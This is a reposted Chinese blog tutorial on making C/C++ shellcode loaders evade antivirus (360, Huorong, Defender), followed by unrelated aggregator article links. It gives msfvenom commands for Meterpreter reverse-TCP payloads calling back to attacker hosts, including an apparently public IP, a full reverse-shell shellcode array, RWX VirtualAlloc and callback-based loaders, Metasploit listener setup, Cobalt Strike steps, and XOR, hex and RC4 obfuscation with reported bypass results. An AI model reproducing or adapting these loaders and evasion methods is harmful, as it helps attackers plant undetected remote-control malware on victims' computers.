Shellcode免杀对抗(C/C++)

Shellcode C/C++免杀，绕过360安全卫士、火绒安全、Defender

C/C++基于cs/msf的上线

首先是测试一下shellcode上线，主要是俩种方法

测试环境

攻击机：kali2023

靶机：win10

msf方法

首先是启动msf

msfconsole

然后msf生成一个shellcode代码

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.178.141 
lport=6688 -f c

或者是x64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.178.141 LPORT=6688 -f c

注意这里的x64不同在后面如果没有使用对应的编译环境，可能会造成无法上线

这里生成的一个payload，将其编译实现上线

image-20240204215801637

下面就是运行的c文件基本格式，每次使用替换其中的shellcode即可

#include <Windows.h>
#include <stdio.h>
#include <string.h>
​
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口
​
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xb2\x8d\x68\x02\x00"
"\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
​
int main()
{//方式一：指针执行/* ((void(*)(void)) & buf)();*/
​//方式二：强制类型转换//((void(WINAPI*)(void))&buf)();
​//方式三：申请动态内存加载/*char* Memory;Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();*/
​//方式四：嵌入汇编加载//__asm {//lea eax,buf//call eax//}
​//方式五：汇编花指令//__asm{//mov eax, offset shellcode//_emit 0xFF//_emit 0xE0//}
}

注意上面说到小细节，我并没有使用x64所以是x86的，选择Release，否则影响上线结果

image-20240204224028433

成功生成exe文件

image-20240204224548038

接下来打开msf的监听功能

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.178.141 //kali的地址或者全ip 0.0.0.0
set lport 6688
run

image-20240204225205501

把exe文件放到靶机运行，成功监听

image-20240205195234758

cs方法

先开启cs

image-20240205195806396

win10打开cs

image-20240205195954059

选择之前配置好的监听器，注意这里是x64，后面编译的时候要使用x64编译

image-20240205200238384

image-20240205200112004

之后打开.c文件是一个未编译代码，放到上文的编译代码中，注意这里是x64编译，用的方式三，使用.c文件

image-20240205200416762

上传并运行生成的exe文件，发现成功上线

image-20240205201216774

免杀开始

原理

shellcode相对于可执行文件更改更容易，不易损坏

先通过汇编，运行

image-20240207160540783

我们可以通过分析一下这个exe文件时如何上线到正确的地址的，这里联系msf源码中的windows的reverse_tcp.rb进行分析

image-20240207175451174

可以看出在执行完call ebp以后，就执行了设置地址的操作，也就是说在shellcode中存在了反弹连接的ip地址

从执行代码中可以看出，运行玩call eax 才能调用buf

  • lea eax, buf：这是一条汇编指令，它的作用是将 buf 的地址加载到 eax 寄存器中。lea 指令不是真正意义上的加载，而是计算出 buf 的地址，但是不进行内存访问。

  • call eax：这是一条汇编中的调用指令，它的作用是调用 eax 寄存器中所存储的地址对应的函数。在这里，eax 寄存器中存储的是 buf 的地址，所以实际上是调用了 buf 所代表的函数。

这段代码的具体作用取决于 buf 所指向的内容，因为它实际上是间接调用了一个函数。

  __asm {lea eax,bufcall eax}

将生成的exe文件拖入debug程序中，进行分析，开启自动步入

image-20240207175346759

只有运行完call eax 才能出buf的内容，找到 call ebp，下面一个就是ip

image-20240207184500593

16进制转ip，发现是我们kali的ip

image-20240207184359896

下面是16进制转10进制，得到端口

image-20240207184913003

这里便是杀毒软件杀毒的原理，这就是特征，我们只需要将木马程序进行简单的分析，就能得到shell回连的IP地址和端口，如果杀毒软件发现我们的可执行文件是一个木马程序。

特别的像360会上传可疑文件到沙盒进行测试，有时候你上传的木马在监听的时候，可能会有别的ip被监听，这就是沙盒测试

免杀手法测试

找到最好的方法，对杀毒工具进行测试

换加载器

加载器的作用：由于shellcode是一段可以执行的二进制代码，因此需要开辟出一段可以读写可操作的地址来运行shellcode，而这就是加载器的作用。

可以理解为上面的代码除了shellcode就是加载器

因为我们的加载器的特征，各平台杀毒软件都有了已经，所有我们就要用新的，特征没有被锁定

我在网上找了几个加载器试了一下，基本上都过不去

比如说，这几个

//#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
​
int main()
{char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f""\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b""\x77\x20\x8b\x3f\x80\x7e\x0c\x33""\x75\xf2\x89\xc7\x03\x78\x3c\x8b""\x57\x78\x01\xc2\x8b\x7a\x20\x01""\xc7\x89\xdd\x8b\x34\xaf\x01\xc6""\x45\x81\x3e\x43\x72\x65\x61\x75""\xf2\x81\x7e\x08\x6f\x63\x65\x73""\x75\xe9\x8b\x7a\x24\x01\xc7\x66""\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7""\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9""\xb1\xff\x53\xe2\xfd\x68\x63\x61""\x6c\x63\x89\xe2\x52\x52\x53\x53""\x53\x53\x53\x53\x52\x53\xff\xd7";HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(hAlloc, shellcode, sizeof(shellcode));EnumDateFormatsA((DATEFMT_ENUMPROCA)hAlloc , LOCALE_SYSTEM_DEFAULT, (DWORD) 0);
}

还有这个

//#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
​
​
int main()
{char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f""\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b""\x77\x20\x8b\x3f\x80\x7e\x0c\x33""\x75\xf2\x89\xc7\x03\x78\x3c\x8b""\x57\x78\x01\xc2\x8b\x7a\x20\x01""\xc7\x89\xdd\x8b\x34\xaf\x01\xc6""\x45\x81\x3e\x43\x72\x65\x61\x75""\xf2\x81\x7e\x08\x6f\x63\x65\x73""\x75\xe9\x8b\x7a\x24\x01\xc7\x66""\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7""\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9""\xb1\xff\x53\xe2\xfd\x68\x63\x61""\x6c\x63\x89\xe2\x52\x52\x53\x53""\x53\x53\x53\x53\x52\x53\xff\xd7";HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(hAlloc, shellcode, sizeof(shellcode));EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA) hAlloc,LGRPID_SUPPORTED,0);
}

估计是放网上都被用烂了，各个平台早就锁定了，要是代码能力好，还是自己写

image-20240207223225950

image-20240207224206969

ShellCode 变异-编码混淆加密算法

Xor Aes Hex Rc4 Rsa 等，可以是网上的加密代码，也可以自己写（自己写肯定是最好的）

1.网上的工具

GitHub - Arno0x/ShellcodeWrapper: Shellcode wrapper with encryption for multiple target languages

先cs来一个shellcode

image-20240207230652853

文件重命名然后运行脚本

python2 shellcode_encoder.py -cpp -cs -py shellcode.raw swq xor

编译加密后的代码，运行文件火绒和360都没过

image-20240207233158719

2.我师傅给我编写的工具（工具就不发出来了）

可以过火绒和360

image-20240207233307557

image-20240207233355668

3、Hex

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117

lport=6688 -f c

CyberChef

https://github.com/ByPassAVTeam/ShellcodeLoader

可以过火绒和360，但是过不了defender

4、Rc4

网络信息安全：RC4加密算法的实现_采用rc4_256加密算法 保证了重要数据在传输过程中的完整-CSDN博客

加密强度很高，惊讶于可以过火绒

image-20240207232055811

也可以过360，但是三分钟之后就不行了，估计360沙盒测试没了

image-20240207232246108

把defender也过了

以上工具仅供参考，但是过几个月甚至几天后，就被各个平台锁定了

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/478304.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Hadoop-Yarn-调度器总结

Hadoop-Yarn-调度器总结

一、Yarn有哪些调度器 在cdh中Yarn组件中查看配置如下&#xff1a; 可以看到Yarn有三种调度器&#xff0c;分别是FairScheduler、FifoScheduler、CapacityScheduler&#xff0c;它们都是Hadoop的一个可插入调度器。 cdh默认的调度器是FairScheduler&#xff0c;hadoop默认的调…
阅读更多...
vue项目中下载静态资源里的pdf文件

vue项目中下载静态资源里的pdf文件

1.把文件放在项目目录src/assets文件下 2.在项目是用a标签下载 <a:href"require(/assets/download.pdf)"download"使用说明.pdf"target"_blank"><img src"/assets/banner.png" class"bannerimg"/></a> 以…
阅读更多...
函数模板与模板的特例化

函数模板与模板的特例化

函数模板 模板的意义&#xff1a;对类型进行参数化 模板类型参数 c使用class、typename关键字定义模板类型参数 函数模板&#xff1a;不进行编译&#xff0c;因为类型还不知道 template <typename T>//定义一个模板参数列表 bool compare(T a,T b)//compare是一个函…
阅读更多...
electron桌面开发相关注意点

electron桌面开发相关注意点

electron的部署以及配置 如果使用的是pnpm&#xff0c;请先配置一下镜像&#xff0c;否则会安装失败的&#xff1a; pnpm config set registryhttps://registry.npmmirror.com pnpm config set electron_mirrorhttps://cdn.npmmirror.com/binaries/electron/ pnpm config set …
阅读更多...
如何构建企业专属GPT

如何构建企业专属GPT

大语言模型&#xff08;LLM&#xff09;具有令人印象深刻的自然语言理解和生成能力&#xff0c; 2022年11月底OpenAI发布了ChatGPT&#xff0c;一跃成为人工智能AI领域的现象级应用。但由于LLM的训练数据集主要来源于互联网数据&#xff0c;企业私域信息并未被LLM所训练&#x…
阅读更多...
Dom节点继承树基本操作

Dom节点继承树基本操作

遍历节点树 基于元素节点树的遍历 parcntElcrmcnt -> 返回当前元素的父元秦节点 (IE不兼容)children ->只返回当前元素的元素子节点node.childFlement(ount nodechildren.length当前元素节点的子元素(IE不兼容)firstElementChild->返回的是第一个元素节点(IE不兼容)l…
阅读更多...
TRS 2024 论文阅读 | 基于点云处理和点Transformer网络的人体活动连续识别

TRS 2024 论文阅读 | 基于点云处理和点Transformer网络的人体活动连续识别

注1:本文系“无线感知论文速递”系列之一,致力于简洁清晰完整地介绍、解读无线感知领域最新的顶会/顶刊论文(包括但不限于 Nature/Science及其子刊; MobiCom, Sigcom, MobiSys, NSDI, SenSys, Ubicomp; JSAC, 雷达学报 等)。 本次介绍的论文是:<IEEE Transactions on Radar …
阅读更多...
npm run dev运行出现NODE_OPTIONS=--max_old_space_size=4096 vite --mode dev --host？

npm run dev运行出现NODE_OPTIONS=--max_old_space_size=4096 vite --mode dev --host？

问题描述 PS E:\AWorkDataease\DataEase\core\core-frontend> npm run dev dataease0.0.0 dev NODE_OPTIONS–max_old_space_size4096 vite --mode dev --host 0.0.0.0 ‘NODE_OPTIONS’ 不是内部或外部命令&#xff0c;也不是可运行的程序 或批处理文件。 解决方案 遇到…
阅读更多...
CSS：BFC

CSS：BFC

BFC&#xff0c;Block Formatting Context&#xff0c;块级格式化上下文&#xff0c;是一个独立的渲染区域或隔离的独立容器&#xff0c;它决定了其子元素如何布局&#xff0c;并且与这个区域外部的元素无关。 形成 BFC 的条件 float 的值不为 none&#xff08;left、right&a…
阅读更多...
无人机数据链技术，无人机数据链路系统技术详解，无人机数传技术

无人机数据链技术，无人机数据链路系统技术详解，无人机数传技术

早期的无人机更多的为军事应用服务&#xff0c;如军事任务侦查等&#xff0c;随着技术和社会的发展&#xff0c;工业级无人机和民用无人机得到快速的发展&#xff0c;工业级无人机用于农业植保、地理测绘、电力巡检、救灾援助等&#xff1b;民用无人机用于航拍、物流等等领域。…
阅读更多...
AcuAutomate：一款基于Acunetix的大规模自动化渗透测试与漏洞扫描工具

AcuAutomate：一款基于Acunetix的大规模自动化渗透测试与漏洞扫描工具

关于AcuAutomate AcuAutomate是一款基于Acunetix的大规模自动化渗透测试与漏洞扫描工具&#xff0c;该工具旨在辅助研究人员执行大规模的渗透测试任务。 在大规模的安全测试活动中&#xff0c;AcuAutomate可以帮助我们同时启动或停止多个Acunetix扫描任务。除此之外&#xff…
阅读更多...
prometheus+mysql_exporter监控mysql

prometheus+mysql_exporter监控mysql

prometheusmysql_exporter监控mysql 一.安装mysql 1.下载&#xff1a;wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm 2.安装客户端&#xff1a;yum -y install mysql57-community-release-el7-10.noarch.rpm 3.安装服务端&#xff1a;yum …
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023